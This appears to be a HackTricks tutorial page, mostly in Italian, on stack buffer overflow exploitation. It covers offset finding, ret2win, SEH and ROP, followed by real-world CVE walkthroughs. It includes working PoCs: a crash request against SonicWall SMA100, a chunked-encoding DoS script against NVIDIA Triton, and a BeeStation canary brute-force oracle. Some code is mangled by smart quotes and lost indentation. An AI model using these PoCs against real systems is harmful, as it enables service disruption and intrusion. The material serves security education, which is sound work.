Stack Overflow

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Che cos’è uno Stack Overflow

Un stack overflow è una vulnerabilità che si verifica quando un programma scrive più dati nello stack di quanti ne siano stati allocati per contenerli. Questi dati in eccesso overwrite adjacent memory space, causando la corruzione di dati validi, la compromissione del controllo di flusso e, potenzialmente, l’esecuzione di codice malevolo. Il problema si presenta spesso a causa dell’uso di funzioni non sicure che non effettuano il controllo dei limiti sugli input.

Il problema principale di questa sovrascrittura è che il saved instruction pointer (EIP/RIP) e il saved base pointer (EBP/RBP) usati per ritornare alla funzione precedente sono stored on the stack. Di conseguenza, un attaccante potrà sovrascriverli e control the execution flow of the program.

La vulnerabilità di solito si verifica perché una funzione copies inside the stack more bytes than the amount allocated for it, riuscendo così a sovrascrivere altre parti dello stack.

Alcune funzioni comunemente vulnerabili sono: strcpy, strcat, sprintf, gets… Inoltre, funzioni come fgets, read e memcpy che richiedono un length argument possono essere usate in modo vulnerabile se la lunghezza specificata è maggiore di quella allocata.

Ad esempio, le seguenti funzioni potrebbero essere vulnerabili:

void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Trovare gli offset per Stack Overflows

Il modo più comune per trovare stack overflows è fornire un input molto grande di As (es. python3 -c 'print("A"*1000)') e attendersi un Segmentation Fault che indica che è stato tentato l’accesso all’indirizzo 0x41414141.

Inoltre, una volta scoperto che esiste una vulnerabilità Stack Overflow dovrai trovare l’offset necessario fino a poter overwrite the return address, per questo di solito si usa una De Bruijn sequence. La quale, per un dato alfabeto di dimensione k e sottosequenze di lunghezza n, è una sequenza ciclica in cui ogni possibile sottosequenza di lunghezza n appare esattamente una volta come sottosequenza contigua.

In questo modo, invece di dover determinare manualmente quale offset è necessario per controllare l’EIP, è possibile usare come padding una di queste sequenze e poi trovare l’offset dei byte che l’hanno sovrascritta.

È possibile usare pwntools per questo:

from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

o GEF:

#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Sfruttare Stack Overflows

During an overflow (supposing the overflow size if big enough) you will be able to overwrite values of local variables inside the stack until reaching the saved EBP/RBP and EIP/RIP (or even more).
The most common way to abuse this type of vulnerability is by modifying the return address so when the function ends the control flow will be redirected wherever the user specified in this pointer.

However, in other scenarios maybe just overwriting some variables values in the stack might be enough for the exploitation (like in easy CTF challenges).

Ret2win

In this type of CTF challenges, there is a function inside the binary that is never called and that you need to call in order to win. For these challenges you just need to find the offset to overwrite the return address and find the address of the function to call (usually ASLR would be disabled) so when the vulnerable function returns, the hidden function will be called:

Ret2win

Stack Shellcode

In this scenario the attacker could place a shellcode in the stack and abuse the controlled EIP/RIP to jump to the shellcode and execute arbitrary code:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

On 32-bit Windows, an overflow may overwrite the Structured Exception Handler (SEH) chain instead of the saved return address. Exploitation typically replaces the SEH pointer with a POP POP RET gadget and uses the 4-byte nSEH field for a short jump to pivot back into the large buffer where shellcode lives. A common pattern is a short jmp in nSEH that lands on a 5-byte near jmp placed just before nSEH to jump hundreds of bytes back to the payload start.

Windows Seh Overflow

ROP & Ret2… techniques

This technique is the fundamental framework to bypass the main protection to the previous technique: No executable stack (NX). And it allows to perform several other techniques (ret2lib, ret2syscall…) that will end executing arbitrary commands by abusing existing instructions in the binary:

ROP & JOP

Heap Overflows

An overflow is not always going to be in the stack, it could also be in the heap for example:

Heap Overflow

Tipi di protezioni

There are several protections trying to prevent the exploitation of vulnerabilities, check them in:

Common Binary Exploitation Protections & Bypasses

Esempio reale: CVE-2025-40596 (SonicWall SMA100)

A good demonstration of why sscanf should never be trusted for parsing untrusted input appeared in 2025 in SonicWall’s SMA100 SSL-VPN appliance. The vulnerable routine inside /usr/src/EasyAccess/bin/httpd attempts to extract the version and endpoint from any URI that begins with /__api__/:

char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. La prima conversione (%2s) memorizza in modo sicuro due byte in version (es. "v1").
  2. La seconda conversione (%s) non ha uno specificatore di lunghezza, quindi sscanf continuerà a copiare fino al primo byte NUL.
  3. Poiché endpoint è situato sul stack ed è 0x800 bytes long, fornire un percorso più lungo di 0x800 byte corrompe tutto ciò che si trova dopo il buffer ‑ inclusi il stack canary e il saved return address.

Una singola proof-of-concept su una riga è sufficiente per innescare il crash prima dell’autenticazione:

import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Anche se gli stack canaries fanno abortire il processo, un attacker ottiene comunque una primitiva Denial-of-Service (e, con ulteriori information leaks, possibilmente code-execution).

Esempio nel mondo reale: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

NVIDIA’s Triton Inference Server (≤ v25.06) conteneva molteplici stack-based overflows raggiungibili tramite la sua HTTP API. Il pattern vulnerabile appariva ripetutamente in http_server.cc e sagemaker_server.cc:

int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) restituisce il numero di segmenti di buffer interni che compongono l’attuale corpo della richiesta HTTP.
  2. Ogni segmento provoca l’allocazione di un evbuffer_iovec da 16-byte sul stack tramite alloca()senza alcun limite superiore.
  3. Abusando di HTTP chunked transfer-encoding, un client può forzare la richiesta a essere suddivisa in centinaia di migliaia di 6-byte chunks ("1\r\nA\r\n"). Questo fa crescere n senza limiti fino a esaurire lo stack.

Proof-of-Concept (DoS)

Chunked DoS PoC ```python #!/usr/bin/env python3 import socket, sys

def exploit(host=“localhost”, port=8000, chunks=523_800): s = socket.create_connection((host, port)) s.sendall(( f“POST /v2/models/add_sub/infer HTTP/1.1\r\n“ f“Host: {host}:{port}\r\n“ “Content-Type: application/octet-stream\r\n” “Inference-Header-Content-Length: 0\r\n” “Transfer-Encoding: chunked\r\n” “Connection: close\r\n\r\n” ).encode())

for _ in range(chunks): # 6-byte chunk ➜ 16-byte alloc s.send(b“1\r\nA\r\n“) # amplification factor ≈ 2.6x s.sendall(b“0\r\n\r\n“) # end of chunks s.close()

if name == “main”: exploit(*sys.argv[1:])

</details>
Una richiesta di ~3 MB è sufficiente per sovrascrivere l'indirizzo di ritorno salvato e **crash** il daemon in una build di default.

### Esempio reale: CVE-2025-12686 (Synology BeeStation Bee-AdminCenter)

La catena Pwn2Own 2025 di Synacktiv ha abusato di un pre-auth overflow in `SYNO.BEE.AdminCenter.Auth` sulla porta 5000. `AuthManagerImpl::ParseAuthInfo` Base64-decodes l'input dell'attacker in un stack buffer di 4096 byte ma imposta erroneamente `decoded_len = auth_info->len`. Poiché il worker CGI forks per richiesta, ogni child eredita lo stack canary del parent, quindi una singola overflow primitive stabile è sufficiente sia per corrompere lo stack sia per causare il leak di tutti i segreti necessari.

#### Base64-decoded JSON as a structured overflow
Il blob decodificato deve essere JSON valido e includere le chiavi `"state"` e `"code"`; altrimenti il parser va in errore prima che l'overflow sia utile. Synacktiv ha risolto questo Base64-encoding un payload che decodifica in JSON, poi un NUL byte, poi lo stream di overflow. `strlen(decoded)` si ferma al NUL quindi il parsing ha successo, ma `SLIBCBase64Decode` aveva già sovrascritto lo stack oltre l'oggetto JSON, sovrapponendo il canary, il saved RBP e il return address.
```python
pld  = b'{"code":"","state":""}\x00'  # JSON accepted by Json::Reader
pld += b"A"*4081                              # reach the canary slot
pld += marker_bytes                            # guessed canary / pointer data
send_request(pld)

Crash-oracle bruteforcing of canaries & pointers

synoscgi esegue fork per ogni richiesta HTTP, quindi tutti i processi figli condividono lo stesso canary, lo stesso stack layout e lo stesso PIE slide. L’exploit tratta l’HTTP status code come un oracle: una risposta 200 significa che il byte indovinato ha preservato lo stack, mentre 502 (o una connessione caduta) indica che il processo è andato in crash. Il brute-forcing di ogni byte in serie recupera il canary di 8 byte, un saved stack pointer e un return address all’interno di libsynobeeadmincenter.so:

def bf_next_byte(prefix):
for guess in range(0x100):
try:
if send_request(prefix + bytes([guess])).status_code == 200:
return bytes([guess])
except requests.exceptions.ReadTimeout:
continue
raise RuntimeError("oracle lost sync")

bf_next_ptr simply calls bf_next_byte eight times while appending the confirmed prefix. Synacktiv parallelized these oracles with ~16 worker threads, reducing the total leak time (canary + stack ptr + lib base) to under three minutes.

Dai leaks al ROP & esecuzione

Una volta nota la base della libreria, i common gadgets (pop rdi, pop rsi, mov [rdi], rsi; xor eax, eax; ret) costruiscono una primitive arb_write che prepara /bin/bash, -c e il comando dell’attaccante all’indirizzo dello stack leaked. Infine, la chain imposta la calling convention per SLIBCExecl (un BeeStation wrapper attorno a execl(2)), ottenendo una root shell senza necessità di un bug info-leak separato.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks